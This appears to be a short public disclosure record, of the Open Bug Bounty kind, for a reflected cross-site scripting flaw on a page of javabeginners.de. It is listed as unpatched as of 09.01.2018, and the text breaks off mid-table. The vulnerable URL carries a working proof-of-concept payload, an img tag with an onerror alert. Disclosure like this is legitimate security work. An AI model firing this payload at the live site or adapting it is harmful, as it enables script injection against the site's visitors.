javabeginners.de XSS vulnerability

Vulnerable URL: https://javabeginners.de/Grundlagen/Operatoren/Diamant-Operator.php/%22%3E%3Cimg%20src=x%20onerror=alert'OPENBUGBOUNTY'%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...